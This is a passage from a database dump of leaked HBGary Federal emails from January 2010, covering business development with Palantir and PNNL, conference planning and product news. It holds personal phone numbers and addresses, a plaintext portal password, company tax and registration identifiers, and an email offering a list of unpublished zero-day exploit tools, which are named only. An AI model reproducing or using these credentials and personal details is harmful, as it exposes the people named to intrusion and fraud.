SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, January 07, 2010 6:14 PM\r\nTo: Matthew SteckmanSubject: Re: Conference CallOk will do.Do u have a partnership with netwitness?  I have this idea that a few\r\nsmall and compatible companies can make some serious headway.  Whatabout using something like that BSA to do the integration?  Palantiris the core with 2-4 other smalls that fit a piece of the puzzle?\r\nAaron From my iPhoneOn Jan 7, 2010, at 5:57 PM, Matthew Steckman&lt;msteckman@palantirtech.com&gt; wrote:\r\nAaron,Can you send me first and last name of those folks?  Just need it\r\nfor their account submittal.Yeah, we saw that IARPA thing.  They are basically asking for\r\nPalantir which is kind of odd.  We are going to respond withsomething like, &quot;Hey, this is already built, but we&#39;ll take your\r\nmoney for some R&amp;D&quot;-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thursday, January 07, 2010 8:02 AM\r\nTo: Matthew SteckmanSubject: Re: Conference Call\r\nHey Matt,No worries.  I think we will be able to turn something around pretty\r\nquickly here for integration, then just a matter of what do we wantto demo.\r\nDevelopers:Kam@hbgary.commichael@hbgary.com\r\nscott@hbgary.comand if it is any benefit aaron@hbgary.com\r\nHow about Friday? I am open.\r\nAaronAlso,  do you know anything about the IARPA BAA, link listed below.\r\nMaybe a bit of a stretch but it seems like there could be someapplicability.\r\nhttp://www.iarpa.gov/solicitations_kdd.html\r\nOn Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\nSorry I was sucky and late to the call.  Just forward me the emailaddresses of the developers on the call and Ill hook them up with\r\nour resources.\r\nLet me know if you want to chat sometime this week.\r\n-Matt\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, January 06, 2010 4:37 PMTo: Matthew Steckman\r\nSubject: Conference CallHey Matt,\r\nWe have a conference call scheduled for right now right?\r\nAaron Barr\r\nCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11355,'aaron_hbgary_com/11355.html'),(1028,'2010-01-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000185.M610411P3547Q1028.eml','aaron@hbgary.com','blackhat federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe are going to have a booth at Blackhat Federal.&nbsp; Is HBGary\r\ngoing to be exhibiting?&nbsp; \r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',227,'aaron_hbgary_com/227.html'),(1029,'2010-01-08','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297000185.M793795P3547Q1029.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Skiing Monday','I\'m good not having broken legs :)\r\n\r\nAaron Barr wrote:\r\n> Want to go?  Ted said he will go if u guys go.  He doesn\'t know how to\r\n> skii.\r\n> Aaron\r\n> \r\n>  From my iPhone\r\n> \r\n',6885,'aaron_hbgary_com/6885.html'),(1030,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000185.M965588P3547Q1030.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Skiing Monday','Wus.\r\n\r\nOn Jan 7, 2010, at 9:38 PM, mark wrote:\r\n\r\n> I\'m good not having broken legs :)\r\n>\r\n> Aaron Barr wrote:\r\n>> Want to go?  Ted said he will go if u guys go.  He doesn\'t know how  \r\n>> to\r\n>> skii.\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n\r\n',5953,'aaron_hbgary_com/5953.html'),(1031,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000186.M155147P3547Q1031.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: blackhat federal','I don\'t think so. &nbsp;I will ask Greg in the morning. &nbsp;It is an event we need to start putting on our calendar. &nbsp;To date HBGary mostly focus on FIRST, CEIC, and a few other conferences for booths, but given the transition from a more forensics to a more incident response, threat intelligence focus, we need to reasses our exhibits. &nbsp;I am working with our PR person now to define what conferences HBGary Federal will want to exhibit. &nbsp;We just may take the DC based conferences going forward.In short we shoulda but I don\'t think we are.AaronOn Jan 7, 2010, at 9:35 PM, Matthew Steckman wrote:Aaron,&nbsp;We are going to have a booth at Blackhat Federal.&nbsp; Is HBGary going to be exhibiting?&nbsp;&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;',1594,'aaron_hbgary_com/1594.html'),(1032,'2010-01-08','\"Eric Hallam\" <eric@dreamseedbooks.com>','/aaron@hbgary.com/new/1297000186.M325865P3547Q1032.eml','\"Aaron Barr\" <aaron@hbgary.com>','Can you endorse me?','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn Recommendations\r\n\r\n      \r\n        Eric Hallam is requesting an endorsement for work\r\n\r\n  \r\n  \r\n     Dear Aaron, \r\nAaron, I am trying to get my profile 100% complete. In order to do so I need to have another recommendation. I\'m sending this to ask you for a brief recommendation of my work that I can include in my LinkedIn profile. If you have any questions, let me know.\r\n\r\nThanks in advance for helping me out.\r\n\r\n-Eric Hallam\r\n  \r\n  \r\n\r\n      \r\n      \r\n      \r\n        Endorse Eric Hallam.\r\n        It only takes a minute\r\n      \r\n      \r\n      Your endorsement can help Eric Hallam:\r\n      \r\n        Hire and get hired\r\n        Win customers and partnerships\r\n        Build a stronger professional reputation\r\n      \r\n  \r\n  This email was sent to you by Eric Hallam (eric@dreamseedbooks.com) through LinkedIn because Eric Hallam entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',10903,'aaron_hbgary_com/10903.html'),(1033,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000186.M496210P3547Q1033.eml','chris@endgames.us','Discussion','Hi chris,\r\n\r\nWe met briefly at the afcea conference at landsdowne last month and\r\nexchanged cards.  I would like to set up a call to talk about our\r\ncompanies capabilities and what we might be able to do together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n(916) 459-4727 x117\r\n(719) 510-8478\r\n\r\n From my iPhone\r\n',10721,'aaron_hbgary_com/10721.html'),(1034,'2010-01-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000186.M662261P3547Q1034.eml','aaron@hbgary.com','quick chat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 08, 2010 3:00 PM-3:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',12093,'aaron_hbgary_com/12093.html'),(1035,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000186.M854669P3547Q1035.eml','\"Bob Slapnik\" <bob@hbgary.com>','Forgot to ask','How did the meeting with Symantec go?  Also do you want to go back in and talk to the Northrop Internal folks?  The last time you talked to them did you talk about Digital DNA or any of the new stuff?  Maybe a first start can be with Bob Brammer next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1288,'aaron_hbgary_com/1288.html'),(1036,'2010-01-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000187.M33798P3547Q1036.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Forgot to ask','Symantec guy needed to reschedule as something came up for him.  We\'re\r\nlooking to reschedule in the next week or two.\r\n\r\nI\'d love to get something going internally at NG.  You had attended a\r\nmeeting with Chris Barnett and George Bakos about a host convert monitoring\r\nsystem they were hot for us to develop.  We spent considerable resources\r\nwriting a proposal but they ended up not getting money to do it.\r\n\r\nAnother NG guy is Rob Renew who is an IR guy.  On paper he seems like a\r\nperfect candidate for our software but I can\'t seem to get his attention.\r\n\r\nWe had a problem with Bil Carter who does NG internal investigations similar\r\nto law enforcement work.  They bought 2 copies of Responder Pro and\r\ntraining.  They were completely lost when they took the training.  They\r\nended up cancelling the order.  In hindsight they should have purchased\r\nResponder Field Edition and attended an intro class geared toward law\r\nenforcement, but that class didn\'t exist then and we haven\'t offered that LE\r\nclass publicly, just for big customers like Secret Service who trained 20\r\npeople at a time.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 08, 2010 10:47 AM\r\nTo: Bob Slapnik\r\nSubject: Forgot to ask\r\n\r\nHow did the meeting with Symantec go?  Also do you want to go back in and\r\ntalk to the Northrop Internal folks?  The last time you talked to them did\r\nyou talk about Digital DNA or any of the new stuff?  Maybe a first start can\r\nbe with Bob Brammer next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2239,'aaron_hbgary_com/2239.html'),(1037,'2010-01-08','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000187.M414448P3547Q1037.eml','\"Aaron Barr\" <aaron@hbgary.com>','Responder Pro with DDNA download','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m working with Penny to get HBGary Federal about 10\r\ndongles for Responder Pro.&nbsp;&nbsp; Until then you can download the trial\r\nversion which is a full version without the ability to save or print.\r\n\r\n&nbsp;\r\n\r\nTo download the Responder evaluation software go the HBGary\r\nportal, login with your account and then click on MY DOWNLOADS.&nbsp; Download Responder\r\nPro evaluation software, install it and run it.&nbsp; Send the Machine ID to me&nbsp; and support@hbgary.com,\r\nthen Chark will send you a 14-day evaluation key.\r\n\r\n&nbsp;\r\n\r\nLet me know if you have any questions about using Responder Pro.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12962,'aaron_hbgary_com/12962.html'),(1038,'2010-01-08','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000187.M605262P3547Q1038.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,','PNL meeting summary','Rick Berg introduced us to day to PNL -- 6 on their side including the Manager for the Cyber Security Staff (he manages 70) and the Program Manager for &quot;client&quot; services.\r\n \r\nPNL wants to become a Partner and add value to our software to provide services to their customers within DOE, DOE intelligence  and counter - intelligence groups and DOD customers.  PNL wants to meet Rich and Aaron in DC the week of January 18th to discuss further.\r\n\r\n \r\nTheir focus in the past has been in capturing and analyzing network traffic to understand emerging threats.  Their focus is shifting to HBGary&#39;s approach for understanding more &quot;sophisticated&quot; adversaries.\r\n\r\n \r\nPNL also mentioned that they are not a profit center and can share research.\r\n \r\nRich and Phil did a great job we had a 90 minute meeting -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',13443,'aaron_hbgary_com/13443.html'),(1039,'2010-01-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000187.M786727P3547Q1039.eml','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Tools','Hi Ben,\r\n\r\nI hope you had a good holiday.  Please let me know if there is\r\nanything else you need from us to get HBGary Federal listed as an\r\napproved vendor.  Is GD willing to sponsor our clearances, so we can\r\nprovide classified support?\r\n\r\nRegards,\r\nTed\r\n\r\nOn Tue, Dec 22, 2009 at 2:18 PM, Ted Vera  wrote:\r\n> Hi Ben,\r\n> Below is the information you requested and attached is a facility security\r\n> clearance sponsor letter.  If you fill this out and submit to DSS it will\r\n> enable us to provide classified support to your contracts.  (This is not for\r\n> sponsoring a SCIF, it would just allow us to have classified discussions and\r\n> provide on-site classified support as needed).\r\n> HBGary Federal, LLC\r\n>\r\n> DUNS:  832950831\r\n>\r\n> CAGE:  5U1U6\r\n>\r\n> EIN:  27-1485507\r\n> Hope you have a happy holiday!\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N. \r\n> wrote:\r\n>>\r\n>> Greetings Ted,\r\n>>\r\n>>\r\n>>\r\n>> Thank you again for coming to our facility and meeting with us.\r\n>>\r\n>>\r\n>>\r\n>> When you have time, please send Company ID, Tax ID, etc. so I can forward\r\n>> to contracts to get you on the approved vendor list.\r\n>>\r\n>>\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Ben Wilson\r\n>>\r\n>>\r\n>>\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, December 15, 2009 11:58 AM\r\n>> To: Wilson, Ben N.\r\n>> Subject: Tools\r\n>>\r\n>>\r\n>>\r\n>> Hi Ben,\r\n>>\r\n>>\r\n>>\r\n>> It was great meeting you again.  Below is a list of the current\r\n>> unpublished 0-day tools that we have on the shelf.  You mentioned interest\r\n>> in the VMWare tool, so I\'ve attached a summary description.  Please let me\r\n>> know if you are interested in any of the other tools, or if you have further\r\n>> questions.\r\n>>\r\n>> ·         VMware ESX and ESXi *\r\n>>\r\n>> ·         Win2K3 Terminal Services\r\n>>\r\n>> ·         Win2K3 MSRPC\r\n>>\r\n>> ·         Solaris 10 RPC\r\n>>\r\n>> ·         Adobe Flash *\r\n>>\r\n>> ·         Sun Java *\r\n>>\r\n>> ·         Win2k Professional & Server\r\n>>\r\n>> Regards,\r\n>>\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>>\r\n>> 719-237-8623\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',1339,'aaron_hbgary_com/1339.html'),(1040,'2010-01-08','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000187.M972584P3547Q1040.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','RE: PNL meeting summary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you for the excellent summary Maria.&nbsp; Phil, great job on\r\nthe call and in preparing your EPO demonstration!\r\n\r\n&nbsp;\r\n\r\nJust as an FYI to Penny&#8230;&nbsp; Phil and I are no longer doing sales\r\ncalls together, we will divide and conquer, we know there is way too much work\r\nto get done at this time.\r\n\r\n&nbsp;\r\n\r\nAaron, I will send you Troy&#8217;s contact information and give you a\r\nquick call later on to discuss.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, January 08, 2010 2:25 PM\r\nTo: Penny C. Hoglund\r\nCc: Rich Cummings; Phil Wallisch; Aaron Barr\r\nSubject: PNL meeting summary\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Berg introduced us to day to PNL -- 6 on their side\r\nincluding the Manager for the Cyber Security Staff (he manages 70) and the\r\nProgram Manager for &quot;client&quot; services.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPNL wants to become a Partner and add value to our software\r\nto provide services to their customers within DOE, DOE intelligence&nbsp; and\r\ncounter - intelligence groups and DOD customers.&nbsp; PNL wants to meet Rich\r\nand Aaron in DC the week of January 18th to discuss further.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTheir focus in the past has been in capturing and analyzing\r\nnetwork traffic to understand emerging threats.&nbsp; Their focus is shifting\r\nto&nbsp;HBGary\'s approach for&nbsp;understanding more &quot;sophisticated&quot;\r\nadversaries.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPNL also mentioned that they are not a profit center and can\r\nshare research.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich and Phil did a great job\r\nwe had a 90 minute meeting \r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12937,'aaron_hbgary_com/12937.html'),(1041,'2010-01-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000188.M157377P3547Q1041.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 60 Minutes cyber story','Have you seen this?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Konkel \r\nDate: Tue, Jan 5, 2010 at 7:22 AM\r\nSubject: 60 Minutes cyber story\r\nTo: ted@hbgary.com\r\n\r\n\r\n\r\nA link to that 60 Minutes cyber story I was talking about.\r\nhttp://www.cbsnews.com/stories/2009/11/06/60minutes/main5555565.shtml\r\n\r\nCoincidentally, Brazil was hit by another massive power outage just a\r\nfew hours after the story aired. Or maybe not so coincidentally.\r\nhttp://news.bbc.co.uk/2/hi/americas/8353878.stm\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',4777,'aaron_hbgary_com/4777.html'),(1042,'2010-01-08','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000188.M370337P3547Q1042.eml','\"Aaron Barr\" <aaron@hbgary.com>','Troy Thompson - Pacific Northwest Labs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nJust got off a call with these guys at PNNL.&nbsp; Troy\r\nThompson is the program mgr and is interested in exploring partnership oppty&#8217;s\r\nwith HBGary Federal and HBGary to extend the core capabilities of our products\r\nto do special things.&nbsp; I told him about HBGary Federal and said I would\r\nlink you guys up.&nbsp; He will be in the DC area the week of the 18th\r\nand would like to get together.&nbsp;&nbsp; I believe Maria is coordinating the\r\nmeeting times with everyone.\r\n\r\n&nbsp;\r\n\r\nLet me know if you would like to discuss further.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4244,'aaron_hbgary_com/4244.html'),(1043,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000188.M552651P3547Q1043.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Troy Thompson - Pacific Northwest Labs','Great. &nbsp;I have worked with PNNL in the past. &nbsp;They had a tool called in-spire I have a good deal of familiarity with. &nbsp;Look forward to talking with them, I will be in DC that week. &nbsp;If you have any more information on what types of things they are looking at I would like to talk for a few.AaronOn Jan 8, 2010, at 2:38 PM, Rich Cummings wrote:Aaron,&nbsp;Just got off a call with these guys at PNNL.&nbsp; Troy Thompson is the program mgr and is interested in exploring partnership oppty’s with HBGary Federal and HBGary to extend the core capabilities of our products to do special things.&nbsp; I told him about HBGary Federal and said I would link you guys up.&nbsp; He will be in the DC area the week of the 18th&nbsp;and would like to get together.&nbsp;&nbsp; I believe Maria is coordinating the meeting times with everyone.&nbsp;Let me know if you would like to discuss further.&nbsp;Rich&nbsp;&nbsp;',12421,'aaron_hbgary_com/12421.html'),(1044,'2010-01-08','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000188.M724972P3547Q1044.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Troy Thompson - Pacific Northwest Labs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCoolio I&#8217;ve got a couple minutes before a call at 3PM.&nbsp; Calling\r\nyou now.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 08, 2010 2:46 PM\r\nTo: Rich Cummings\r\nSubject: Re: Troy Thompson - Pacific Northwest Labs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat. &nbsp;I have worked with PNNL in the past. &nbsp;They\r\nhad a tool called in-spire I have a good deal of familiarity with. &nbsp;Look\r\nforward to talking with them, I will be in DC that week. &nbsp;If you have any\r\nmore information on what types of things they are looking at I would like to\r\ntalk for a few.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 8, 2010, at 2:38 PM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust got off a call with these guys at PNNL.&nbsp; Troy Thompson\r\nis the program mgr and is interested in exploring partnership oppty&#8217;s with\r\nHBGary Federal and HBGary to extend the core capabilities of our products to do\r\nspecial things.&nbsp; I told him about HBGary Federal and said I would link you\r\nguys up.&nbsp; He will be in the DC area the week of the 18th&nbsp;and would like to get\r\ntogether.&nbsp;&nbsp; I believe Maria is coordinating the meeting times with\r\neveryone.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you would like to discuss further.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9638,'aaron_hbgary_com/9638.html'),(1045,'2010-01-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000188.M918523P3547Q1045.eml','aaron@hbgary.com','phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou want to call me?\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5854,'aaron_hbgary_com/5854.html'),(1046,'2010-01-08','no-reply@palantirtech.com','/aaron@hbgary.com/new/1297000189.M88160P3547Q1046.eml','aaron@hbgary.com','Welcome to Palantir Customer Support!','Jan 8, 2010\r\n\r\nWelcome, Aaron Barr!\r\n\r\nThis letter invites you to begin using the Palantir Customer Support Portal.\r\n\r\nThe Palantir Customer Support Portal has been designed to make your interaction with Palantir Support simple, easy and efficient.  The Customer Support  Portal allows you to:\r\n	1)	Submit, review, update or close Support cases.\r\n			NOTE: The Palantir Customer Support Portal is a secure environment, and only you will be able to access the cases you submit. \r\n	2)	Download authorized Palantir products, updates and documentation.\r\n	3)	Find solutions to common problems in the Palantir Knowledgebase.\r\n	4)	Review standard Palantir terminology in the Glossary.\r\n	5)	Review Support definitions and Escalation Policy.\r\n\r\nThe Customer Support Portal is available at: https://support.palantirtech.com/\r\n\r\nYour login credentials are:\r\n	Username:	aaron@hbgary.com\r\n	Password:	h%0f/<\r\n\r\nWhen you log in for the first time, use the My Account link in the upper-right corner of the screen to change your initial password.  The rules for creating a password are:\r\n	* Passwords should be between 6 and 16 characters in length.\r\n	* Passwords should contain a mixture of both upper and lower case alphabetic characters and non-alphabetic characters\r\n	* Memorize your new password.\r\n\r\nAs always, if you have a critical issue that needs immediate attention, please call the Palantir Support hotline at (877) 247 - 2513.  And, you can email your issue to support-css@palantirtech.com.\r\n\r\nWe look forward to helping you succeed as you use the Palantir products.\r\n\r\nSincerely,\r\nPalantir Customer Support Team\r\n',7106,'aaron_hbgary_com/7106.html'),(1047,'2010-01-08','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000190.M793317P3547Q1047.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,aaron@hbgary.com','FW: Call for Papers/ComputerForensicsShow NY, NY 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you interested?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Natalia Manley\r\n[mailto:nmanley@computerforensicshow.com] \r\nSent: Friday, January 08, 2010 11:13 AM\r\nTo: penny@hbgary.com\r\nSubject: Call for Papers/ComputerForensicsShow NY, NY 2010\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDear\r\nGreg:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAs\r\nyou were a selected speaker at our Santa Clara,\r\n CA Computer Forensics Conference last fall,\r\nwe wanted to send you information regarding our New York Computer Forensics\r\nShow, April 19-20 in New York City.\r\nWe again are in the selection process for speakers and panel participants for\r\nthe New York event.&nbsp; We would\r\nlike to ask you for your involvement in this process.\r\n\r\n&nbsp;\r\n\r\nAs\r\nyou will note from the attached Call for Papers, we have made a number of\r\nsignificant changes to the show. Principle amongst those changes is bringing in\r\nInfraGard as a full partner.\r\n\r\n&nbsp;\r\n\r\nInfradGard\r\nwith its wide membership community will add an exciting dimension to the event.\r\nWe would be pleased to have your comments, questions and above all your\r\nconsiderations.\r\n\r\n&nbsp;\r\n\r\nWe\r\nlook forward to hearing from you.\r\n\r\n&nbsp;\r\n\r\nBest\r\nregards,\r\n\r\n&nbsp;\r\n\r\nNatalia\r\nManley\r\n\r\nConference\r\nCoordinator\r\n\r\n203-661-4312\r\n\r\n&nbsp;\r\n\r\nnmanley@computerforensicshow.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15199,'aaron_hbgary_com/15199.html'),(1048,'2010-01-09','ted@hbgary.com','/aaron@hbgary.com/new/1297000191.M18379P3547Q1048.eml','aaron@hbgary.com','2010 Commercial Billing Rates Fully Burdened','\r\n\r\nI\'ve shared 2010 Commercial Billing Rates Fully Burdened\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\n2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',7691,'aaron_hbgary_com/7691.html'),(1049,'2010-01-10','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297000195.M976017P3547Q1049.eml','all@hbgary.com','Responder 2.0 to Support Windows 7! X86/X64 (Ships Feb 1)','HBG Team,        After many late nights of reverse engineering and a ton of tedious coding I&#39;m pleased to announce that Responder 2.0 will ship with Full 32 and 64 bit Windows 7 Support.  I have attached a few basic screenshots. As the subject line suggests this functionality will ship with Responder 2.0 in early Feb, and will be automatically be integrated into future versions of McAfee EPO, Active Defense, as well as our partner integrations. \r\nFormal QA testing and internal pre-alpha testing of the windows 7 support should begin next week. Anyone interested in obtaining an internal-only pre-alpha copy of the new version of Responder 2.w/ Win7 support should give me a call monday afternoon or later and I will make a properly packaged version available.\r\nCheers,-SB\r\n',13143,'aaron_hbgary_com/13143.html'),(1050,'2010-01-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000196.M401487P3547Q1050.eml','\"Barr Aaron\" <aaron@hbgary.com>','Disney\'s KeyChest is not DRM -- Engadget','http://www.engadget.com/2010/01/10/disneys-keychest-is-not-drm/\r\n',7404,'aaron_hbgary_com/7404.html'),(1051,'2010-01-11','\"LinkedIn Discussions\" <discussions-noreply@linkedin.com>','/aaron@hbgary.com/new/1297000196.M881423P3547Q1051.eml','\"Aaron Barr\" <aaron@hbgary.com>','You have a new comment on your status: Just landed.  It is great to be back in 